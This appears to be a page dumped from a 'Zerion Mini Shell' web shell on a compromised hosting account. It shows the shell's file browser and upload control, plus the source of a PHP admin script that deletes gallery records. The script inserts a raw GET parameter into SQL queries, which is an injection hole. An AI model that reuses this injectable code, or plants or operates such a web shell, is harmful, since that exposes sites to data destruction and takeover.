ok

Mini Shell

Direktori : /proc/self/root/proc/self/root/home/keydecors/public_html/admin/controller/
Upload File :
Current File : //proc/self/root/proc/self/root/home/keydecors/public_html/admin/controller/delete_vaccine.php

<?php
ob_start();
include("../model/dboperation.php");
$id=$_GET['dete'];
$sql = "SELECT * FROM gallery WHERE id=$id";
$result = $mysqli->query($sql);
while($row = $result->fetch_assoc()) 
{
	unlink("../pro/$row[img]");
	
	

}
$sql1	=	"DELETE  FROM gallery WHERE id=$id";

if (mysqli_query($mysqli, $sql1)) {
    echo "Record deleted successfully";
} else {
    echo "Error deleting record: " . mysqli_error($conn);
}
$suc="Deleted Successfully";
ob_clean();
header("location:../pages/pro_select.php");

?>

Zerion Mini Shell 1.0